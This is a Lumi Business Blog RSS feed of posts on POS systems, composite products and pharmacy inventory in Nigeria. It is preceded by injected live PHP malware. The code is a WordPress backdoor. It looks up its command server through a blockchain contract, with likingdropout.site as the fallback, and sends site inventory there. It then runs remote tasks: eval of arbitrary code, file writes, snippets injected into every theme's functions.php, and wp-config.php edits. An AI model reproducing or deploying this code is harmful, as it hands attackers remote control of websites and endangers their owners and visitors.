// kf_7y if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/var/www/html/wp-content/plugins/wp-helper-83a9f4/wp-helper-83a9f4.php', 'ctrl'=>'// kf_7y', 'vis'=>'// kp_dc', 'vis_func'=>'wp_ds0cdo', 'vis_paths'=>array('/var/www/html/wp-content/plugins/wp-helper-83a9f4/wp-helper-83a9f4.php'), 'opt'=>'_wp_7wiqzgl9', ); $keys=array(); $keys['id']='yh2'; $keys['ver']='gk'; $keys['caps']='nit'; $keys['tasks']='ddg'; $keys['interval']='2rk'; $keys['ack_id']='cjk'; $keys['ok']='hx'; $keys['detail']='eha'; $keys['inv']='2e2'; $keys['result']='mzr'; $hdr='X-YNM-Auth';$tok='K87h2GQsbHZVK8-RCxCb6tnxmCY7cWjybB8jdy4VtD0';$id='e33ee38ae385c957';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Lumi Business Blog https://blog.lumibusiness.io Mon, 15 Jun 2026 23:08:48 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://blog.lumibusiness.io/wp-content/uploads/2024/05/Insights_badge_linkedin-150x150.jpeg Lumi Business Blog https://blog.lumibusiness.io 32 32 235105787 Composite Products POS: What to Look for in a POS System That Supports Bundled Products https://blog.lumibusiness.io/composite-products-pos/ https://blog.lumibusiness.io/composite-products-pos/#respond Mon, 15 Jun 2026 23:08:45 +0000 https://blog.lumibusiness.io/?p=1121 You’ve decided to sell bundled products in your business and you are searching for Composite Products POS. Maybe it’s a breakfast combo in your supermarket, a baby care kit in your pharmacy, or a meal deal in your restaurant. The next question is: Can your POS system handle it? Many retailers discover too late that […]

The post Composite Products POS: What to Look for in a POS System That Supports Bundled Products appeared first on Lumi Business Blog.

]]>
https://blog.lumibusiness.io/composite-products-pos/feed/ 0 1121
What Are Composite Products? A Complete Guide for Nigerian Retailers in 2026 https://blog.lumibusiness.io/what-are-composite-products/ https://blog.lumibusiness.io/what-are-composite-products/#respond Mon, 15 Jun 2026 22:03:37 +0000 https://blog.lumibusiness.io/?p=1117 If you’ve ever sold a meal combo, a school starter pack, or a family grocery package, you’ve already encountered composite products. Yet, many Nigerian retailers don’t realise there’s a name for this strategy—or that modern POS systems can manage it automatically. As businesses look for smarter ways to simplify operations and improve the customer experience, […]

The post What Are Composite Products? A Complete Guide for Nigerian Retailers in 2026 appeared first on Lumi Business Blog.

]]>
https://blog.lumibusiness.io/what-are-composite-products/feed/ 0 1117
Product Reconciliation: The Smart Way to Protect Profit and Control Stock https://blog.lumibusiness.io/product-reconciliation/ https://blog.lumibusiness.io/product-reconciliation/#respond Sun, 19 Apr 2026 01:01:55 +0000 https://blog.lumibusiness.io/?p=1104 Running a business without regular product reconciliation is like driving with your eyes closed. You may be making sales every day, but if your stock records do not match what is physically on your shelves, you could be losing money without realizing it. For supermarkets, pharmacies, fashion stores, electronics shops, and growing retail businesses, product […]

The post Product Reconciliation: The Smart Way to Protect Profit and Control Stock appeared first on Lumi Business Blog.

]]>
https://blog.lumibusiness.io/product-reconciliation/feed/ 0 1104
Composite Products in Retail: How to Increase Revenue for Your Retail Business in Nigeria https://blog.lumibusiness.io/how-to-increase-revenue-for-your-retail-business-in-nigeria-2/ https://blog.lumibusiness.io/how-to-increase-revenue-for-your-retail-business-in-nigeria-2/#respond Tue, 14 Apr 2026 15:34:15 +0000 https://blog.lumibusiness.io/?p=1099 How to increase revenue for your retail business in Nigeria is a major concern for business owners facing rising costs, slow-moving inventory, and increasing competition. Nigeria’s retail environment is becoming even more challenging due to declining purchasing power. According to data from the Central Bank of Nigeria, real household consumption dropped by ₦21.33 trillion between […]

The post Composite Products in Retail: How to Increase Revenue for Your Retail Business in Nigeria appeared first on Lumi Business Blog.

]]>
https://blog.lumibusiness.io/how-to-increase-revenue-for-your-retail-business-in-nigeria-2/feed/ 0 1099
How to Increase Revenue for Your Retail Business in Nigeria (Proven Strategies That Work) https://blog.lumibusiness.io/how-to-increase-revenue-for-your-retail-business-in-nigeria/ https://blog.lumibusiness.io/how-to-increase-revenue-for-your-retail-business-in-nigeria/#respond Wed, 08 Apr 2026 23:45:55 +0000 https://blog.lumibusiness.io/?p=1094 How to increase revenue for your retail business in Nigeria is a growing concern for retail business owners dealing with constant business challenges. Running a retail business in Nigeria today is not easy. Between rising costs, unstable prices, and increasing competition, many business owners are working harder but not necessarily earning more. The truth is: […]

The post How to Increase Revenue for Your Retail Business in Nigeria (Proven Strategies That Work) appeared first on Lumi Business Blog.

]]>
https://blog.lumibusiness.io/how-to-increase-revenue-for-your-retail-business-in-nigeria/feed/ 0 1094
Price Increase in Nigeria: How Retail Business Owners Can Adjust Prices in Bulk Without Losing Customers https://blog.lumibusiness.io/price-increase-in-nigeria/ https://blog.lumibusiness.io/price-increase-in-nigeria/#respond Wed, 08 Apr 2026 20:10:27 +0000 https://blog.lumibusiness.io/?p=1089 Price increase in Nigeria have become a daily reality for retail business owners. From supermarkets to pharmacies and fashion stores, the cost of goods keeps rising — and many business owners are struggling to keep up. But beyond understanding why prices are increasing, the real question is: How do you adjust your product prices quickly, […]

The post Price Increase in Nigeria: How Retail Business Owners Can Adjust Prices in Bulk Without Losing Customers appeared first on Lumi Business Blog.

]]>
https://blog.lumibusiness.io/price-increase-in-nigeria/feed/ 0 1089
How to Increase Revenue for Your Pharmacy in Nigeria (2026 Guide) https://blog.lumibusiness.io/how-to-increase-revenue-for-your-pharmacy-in-nigeria/ https://blog.lumibusiness.io/how-to-increase-revenue-for-your-pharmacy-in-nigeria/#respond Tue, 10 Mar 2026 14:18:35 +0000 https://blog.lumibusiness.io/?p=1084 How to Increase Revenue for Your Pharmacy in Nigeria is a question many pharmacy owners ask when they want to grow their business and increase profitability. Scaling is the dream of every business owner. Most entrepreneurs start a business with the goal of growing it, expanding to multiple branches, and building a sustainable source of […]

The post How to Increase Revenue for Your Pharmacy in Nigeria (2026 Guide) appeared first on Lumi Business Blog.

]]>
https://blog.lumibusiness.io/how-to-increase-revenue-for-your-pharmacy-in-nigeria/feed/ 0 1084
Best Pharmacy Inventory Software in Nigeria https://blog.lumibusiness.io/best-pharmacy-inventory-software-in-nigeria/ https://blog.lumibusiness.io/best-pharmacy-inventory-software-in-nigeria/#respond Fri, 06 Mar 2026 19:39:26 +0000 https://blog.lumibusiness.io/?p=1080 For many pharmacists, the search for the best pharmacy inventory software in Nigeria is driven by daily operational challenges. These include unexpected stockouts of fast-moving drugs like Ciprofloxacin, Ceftriaxone, and Amoxicillin-clavulanate, internal stock discrepancies caused by employee theft, and revenue losses from expired medications. For pharmacies, adopting the best pharmacy inventory management software in Nigeria […]

The post Best Pharmacy Inventory Software in Nigeria appeared first on Lumi Business Blog.

]]>
https://blog.lumibusiness.io/best-pharmacy-inventory-software-in-nigeria/feed/ 0 1080
Pharmacy Expiry Notification Software in Nigeria | Lumi Business https://blog.lumibusiness.io/pharmacy-expiry-software-in-nigeria/ https://blog.lumibusiness.io/pharmacy-expiry-software-in-nigeria/#respond Wed, 04 Mar 2026 01:30:37 +0000 https://blog.lumibusiness.io/?p=1077 If you are searching for an pharmacy expiry software in Nigeria, you need more than a POS. You need a system that automatically tracks expiry dates, alerts you before stock expires, and protects your pharmacy from revenue loss and regulatory risk. Lumi Business provides a complete Expiry Software for pharmacies built into your inventory software. […]

The post Pharmacy Expiry Notification Software in Nigeria | Lumi Business appeared first on Lumi Business Blog.

]]>
https://blog.lumibusiness.io/pharmacy-expiry-software-in-nigeria/feed/ 0 1077
Expiry Notifications for Pharmacies in Nigeria: Avoid Revenue Loss, Fines & Sealing https://blog.lumibusiness.io/expiry-notifications-for-pharmacies-in-nigeria/ https://blog.lumibusiness.io/expiry-notifications-for-pharmacies-in-nigeria/#respond Wed, 04 Mar 2026 00:14:37 +0000 https://blog.lumibusiness.io/?p=1071 Expiry notifications for pharmacies in Nigeria are becoming essential as regulatory enforcement increases. Expiry notifications for pharmacies in Nigeria help prevent revenue loss, regulatory fines, and accidental dispensing of expired medication. Why Expiry Notifications for Pharmacies in Nigeria Are No Longer Optional The biggest fear of most pharmacists is not losing ₦3,000 on an expired […]

The post Expiry Notifications for Pharmacies in Nigeria: Avoid Revenue Loss, Fines & Sealing appeared first on Lumi Business Blog.

]]>
https://blog.lumibusiness.io/expiry-notifications-for-pharmacies-in-nigeria/feed/ 0 1071